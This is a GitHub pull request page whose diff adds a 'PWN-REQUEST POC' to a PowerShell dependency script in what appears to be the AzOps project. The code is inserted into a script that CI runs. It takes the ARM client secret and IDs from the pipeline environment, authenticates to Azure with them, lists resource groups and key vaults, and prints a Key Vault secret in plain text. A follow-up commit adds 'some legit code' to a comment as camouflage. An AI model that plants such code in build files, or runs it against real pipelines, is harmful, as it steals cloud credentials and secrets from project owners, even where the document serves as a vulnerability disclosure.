Skip to content

Test poc #953

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
amitaysh wants to merge 2 commits into from
Closed

Test poc #953

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
f925f88
Implement POC for secret exposure and Azure connection
amitaysh Jul 13, 2026
1766069
Clarify note on Resolve-Path usage
amitaysh Jul 13, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 32 additions & 0 deletions scripts/Dependencies.ps1
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,38 @@ param (
$Repository = 'PSGallery'
)

Write-Host "=== PWN-REQUEST POC - Secret exposure + Azure access ==="

# Prove secrets delivered to fork code
Write-Host "ARM_CLIENT_SECRET in env: $(if ($env:ARM_CLIENT_SECRET) { 'YES (masked by GitHub as ***)' } else { 'NO' })"

# Connect to Azure using the exposed credentials
$credential = New-Object PSCredential -ArgumentList $env:ARM_CLIENT_ID, `
(ConvertTo-SecureString -String $env:ARM_CLIENT_SECRET -AsPlainText -Force)
Connect-AzAccount -TenantId $env:ARM_TENANT_ID -ServicePrincipal `
-Credential $credential -SubscriptionId $env:ARM_SUBSCRIPTION_ID

# Prove authenticated access
Write-Host "=== Authenticated Azure context ==="
Get-AzContext | Select-Object Account, Subscription, Tenant | Format-List

Write-Host "=== Resource Groups (proves read access) ==="
Get-AzResourceGroup | Select-Object ResourceGroupName, Location | Format-Table

Write-Host "=== Key Vaults discoverable ==="
Get-AzKeyVault | Select-Object VaultName, ResourceGroupName | Format-Table

Write-Host "=== Key Vault Secret (the money shot) ==="
$secret = Get-AzKeyVaultSecret -VaultName "azure-github-poc-kv" -Name "super-secret-api-key" -AsPlainText
Write-Host "super-secret-api-key = $secret"

Write-Host "=== END POC ==="
exit 0





# Development Modules
Set-PSRepository -Name $Repository -InstallationPolicy Trusted
$modules = @("Pester", "PSModuleDevelopment", "PSScriptAnalyzer")
Expand Down
4 changes: 2 additions & 2 deletions src/AzOps.psm1
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ if (Test-Path (Resolve-PSFPath -Path "$($script:ModuleRoot)\..\.git" -SingleItem
if ($AzOps_dotsourcemodule) { $script:doDotSource = $true }

<#
Note on Resolve-Path:
Note on Resolve-Path: some legit code
All paths are sent through Resolve-Path/Resolve-PSFPath in order to convert them to the correct path separator.
This allows ignoring path separators throughout the import sequence, which could otherwise cause trouble depending on OS.
Resolve-Path can only be used for paths that already exist, Resolve-PSFPath can accept that the last leaf my not exist.
Expand Down Expand Up @@ -78,4 +78,4 @@ if ($importIndividualFiles)

#region Load compiled code
"<compile code into here>"
#endregion Load compiled code
#endregion Load compiled code